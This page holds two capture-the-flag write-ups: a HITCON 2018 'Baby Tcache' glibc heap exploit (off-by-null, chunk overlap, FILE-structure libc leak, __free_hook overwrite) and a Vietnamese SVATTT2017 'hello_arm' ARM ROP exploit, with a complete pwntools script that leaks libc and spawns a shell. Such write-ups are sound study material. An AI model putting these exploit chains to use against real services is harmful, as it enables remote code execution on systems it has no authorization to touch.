Z NQT

[HITCON 2018] Baby Tcache

Baby tcache

The challenge is hard because it has no leak function. Just alloc and free heap

The vuln off-by-null is easy to find in new heap function

v3[size] = 0;

if the malloc size & 8 == 8 then it will overwrite to the size of next chunk. It will leads to chunk overlapping so we can control all the heap.

Overlapping chunk

To overlap chunk, we will do all the steps below

	#1 create a big chunk to prevent using Tcache. Then push it to unsortedbin.
    newheap(0x1ff0,"A") #0
	newheap(0xff0,"A") #1
	delheap(0)
    #2 Trigger off by null.
	newheap(0x108,"xx")
    #3 Create then free more than 7 chunk to push a chunk to unsortedbin
	for i in xrange(8):
		newheap(0x100,"B")
	for i in xrange(3,10):
		delheap(i)
	delheap(2)
	delheap(0)
    #4 Fix the fd/bk pointer
	for i in xrange(8):
		newheap(0x100,"\x10")
	
	delheap(0)
    # Create some chunk to use it later.
	newheap(0x200,"C")
	newheap(0x200,"C")
    #5. Overlap chunk with top chunk 
	delheap(1)  #overlap

heap index #1. prev_size = 0x1ef0

Fix the fd/bk pointer (FD->bk==P; BK->fd==P), we can free the heap #1. Then it will merge with chunk xx360 and overlap all chunks between 2 chunks.

Because the heap #1 is the current high end of memory so it consolidates into top chunk.

Leak libc

This step is hard if you dont know about FILE structure. Because the author of this challenge is Angelboy :D, so i guess we should use his research about it.

The slide File Structures: Another Binary Exploitation Technique https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique and his talk in HITBGSEC 2018 https://www.youtube.com/watch?v=Fr3VU5hdL4s. Then i found the arbitrary memory reading by abusing the FILE structure

    #1. free all heaps to push it to tcache. Then we use technique Tcache poisoning to return to any address we want.
    for i in xrange(1,8):
            delheap(i)
	delheap(9) #0x200
	delheap(0) #0x200
    #2. Malloc heap in unsortbin.
	newheap(0x1150,"c") #0
	#3. Malloc and free to create address libc at the position of FD pointer Tcache.
	newheap(0xd0,"D")
	newheap(0x20,"C")
	newheap(0x550,"a") #3
	newheap(0x30,"a")
	delheap(3)
    #4. Overwrite 2 bytes of FD pointer of freed chunk 3. Brute-force stdout address.
	newheap(0x40,"\x60\xd7")
	newheap(0x100,"a") #6
    #5. Return stdout address.
    pl=""
    pl+=p64(0xfbad3c80) #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
    pl+=p64(0) #_IO_read_ptr
    pl+=p64(0) #_IO_read_end
    pl+=p64(0) #_IO_read_base
    pl+="\x08" # overwrite last byte of _IO_write_base to point to libc address
	newheap(0x100,pl)
    #after that, puts function will print the libc address.

–1.

–3.

–4. print libc address

Overwrite free_hook

The last step is ez. Using Tcache poisoning to write __free_hook address to FD pointer of tcache_entry size 0x210 we prepared above

	#1. overwrite fd pointer
	newheap(0x600,"A"*0x1d0+p64(libc.symbols['__free_hook']))
  	#2. Free some heaps to add new heaps
	delheap(8)
	delheap(1)
	newheap(0x200,"A")
    
    #3. Write one gadget to __free_hook
	newheap(0x200,p64(libc.address+0x4f322)) 
    #4. Trigger shelll
	delheap(0)

exploit script

Children Tcache

Same as Baby tcache but easier because it has Show heap function.

The vuln is off-by-null because using function strcpy in New heap.

exploit script

Thanks HITCON team and Angelboy for insteresting challenges.

References

https://www.youtube.com/watch?v=Fr3VU5hdL4s

https://code.woboq.org/userspace/glibc/libio/libio.h.html

https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique

https://github.com/scwuaptx/CTF/blob/master/2018-writeup/hitcon/baby_tcache.py

[SVATTT2017 Final Round] [Daemon] [Pwn] hello_arm

Sau khi thọt ở vòng sơ khảo với bài formatstring. Mình đã phục thù với bài daemon noteservice . Nhưng lại ngã với bài hello_arm.… .

Trong buổi thi thì BTC có cho file img arm để tạo env debug. Xui làm sao hôm đó load file đó lại không ra mạng được, không setup được gdb. Mình down src gdb về build nhưng đến cuối lại bị failed. Thế là hôm đó quỳ với bài này…

Về nhà mình đã tự build img arm và setup peda-arm để debug.

Tham khảo bài này để build img arm (cũng của tác giả ra đề bài này :)) ) : https://tradahacking.vn/debug-linux-kernel-v%E1%BB%9Bi-qemu-v%C3%A0-gdb-38c2cd29f616 có mấy đoạn trong đây không đúng lắm (trong TH mình) thắc mắc gì có thể hỏi mình.

peda-arm : https://github.com/alset0326/peda-arm

Link các challenges đã được VNSEC public : https://docs.google.com/spreadsheets/d/e/2PACX-1vQ3hmA1FHf-a2uymoaXk8Cu8yvji_0mYI2EnPbmSzRHoiWMwPuLXj_OpaLcqEtYHYepcI3GG3rEIpEM/pubhtml?gid=0&single=true

Check file:

hello_arm.1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=c81cfe892f89ccc0d55b9e5d4ec40048b00de0d6, stripped
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Quăng vào IDA thì dễ dàng thấy lỗi bof ở đây

int sub_1054C()
{
  int v1; // [sp+0h] [bp+0h]

  puts("Overflow me.");
  read(0, &v1, 1024u); // <--- bof
  return puts("End");
}

ta thấy ins SUB SP,SP, #0x80 với SP là reg stack pointer nên ta cần padding 0x84 để có thể overwrite địa chỉ trả về.

Bài này có bật ASLR trên server nên cần phải leak địa chỉ libc base trước.

Để có thể leak được thì cần đưa địa chỉ GOT vào thanh ghi R0. Và cần một gadget dạng pop {xxx,pc} để đưa hàm cần gọi vào reg PC (program counter).

dùng ROPgadget để thử tìm gadget cần :

ROPgadget --binary hello_arm

1051c: e8bdb913 pop {r0, r1, r4, r8, fp, ip, sp, pc} (popret)

nhưng không control được R0.

Đến đây thì mình đã stuck. Nhưng chợt nhớ đến hint của BTC là thumb2-mode .

Sau khi tìm hiểu (http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0344c/Beiiegaf.html ) thì được biết rằng architecture arm có 3 loại instruction sets là : ARM, thumb và thumb2. ARM dùng instruction 32-bit, thumb dùng instruction 16-bit và thumb2 32 bit mixing giữa 2 loại này (hỗ trợ thumb trên 32-bit và ARM).

Trong thumb2 mode thì có một quy định để biết instruction nào của mode nào (arm hay thumb) bằng cách (https://stackoverflow.com/questions/37836861/jump-between-thumb-and-arm )

  • nếu bit 0 của địa chỉ là 0 thì CPU sẽ execute dưới dạng arm code
  • nếu bit 1 của địa chỉ là 1 thì CPU sẽ execute dưới dạng thumb code
  • Nếu parse sai thì CPU sẽ báo lỗi

Đây là lí do trong code mình có mấy đoạn +1 (Qua debug mới thấy :)) )

Vì mặc định của của ROPgadget sẽ không hiện các instruction thumb nên cần phải thêm options --thumb

ROPgadget --thumb --binary hello_arm

Ở đây có 2 gadget mình cần là :

0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr (popR3)

0x000105c6 : mov r0, r3 ; pop {r7, pc} (movR0)

Payload mình sẽ là :

  • popret
  • popR3
  • got read
  • mov R0 ,R3
  • plt puts
  • return to main
	payload=""
	payload+='B'*(0x80+4) 
	payload+= p32(popret+1)
	payload+="A"*4+ p32(popr3+1)
	payload+=p32(file.got['read']) # parameter
	payload+="A"*24
	payload+=p32(movr0+1)
	payload+="AAAA"
	payload+=p32(file.symbols['puts']) # call function
	payload+="BBBB"*7
	payload+=p32(ret2main+1)

Sau khi leak được libc, tiếp theo chỉ cần tính các offset binsh và system để call system(“/bin/sh”)

script :

from pwn import *

file = ELF('hello_arm.1')
libc = ELF('./libc-2.23.so')



def main(argv):
	if len(argv)<2:
		r = remote('localhost', 31335)
	else:
		r = remote('119.81.181.254',31335)

	ret2main = 0x0001054C

	r.recvuntil('Overflow me.\n')
	
	popret = 0x1051c
	# 1051c:	e8bdb913 	pop	{r0, r1, r4, r8, fp, ip, sp, pc}
	popr3=0x000105fc
	#0x000105fc : pop.w {r3, r4, r5, r6, r7, r8, sb, pc} ; lsrs r2, r6, #4 ; movs r1, r0 ; lsrs r0, r5, #4 ; movs r1, r0 ; bx lr
	movr0=0x000105c6
	#0x000105c6 : mov r0, r3 ; pop {r7, pc}
	
	#pause()
	
	payload=""
	payload+='B'*(0x80+4) 
	payload+= p32(popret+1)
	payload+="A"*4+ p32(popr3+1)
	payload+=p32(file.got['read'])
	payload+="A"*24
	payload+=p32(movr0+1)
	payload+="AAAA"
	payload+=p32(file.symbols['puts'])
	payload+="BBBB"*7
	payload+=p32(ret2main+1)
	
	r.sendline(payload)
	r.recvuntil("End")
	print r.recvline()

	libc.address=u32(r.recv(4))-libc.symbols['read']
	syst=libc.symbols['system']
	binsh=next(libc.search('/bin/sh\x00'))

	log.info("libc base : " + hex(libc.address))
	log.info("system : " + hex(syst))
	log.info("binsh : " + hex(binsh))

	
	payload=""
	payload+='B'*(0x80+4) 
	payload+= p32(popret+1)
	payload+="A"*4+ p32(popr3+1)
	payload+=p32(binsh)
	payload+="A"*24
	payload+=p32(movr0+1)
	payload+="AAAA"
	payload+=p32(syst)
	payload+="BBBB"*7
	payload+=p32(ret2main+1)
	
	r.recvuntil('Overflow me.\n')
	r.sendline(payload)

	r.interactive()

if __name__ == '__main__':
	main(sys.argv)

a

Bài này cũng không khó, chủ yếu phải setup được môi trường … hi vọng lần sau sẽ không ngã với arm nữa …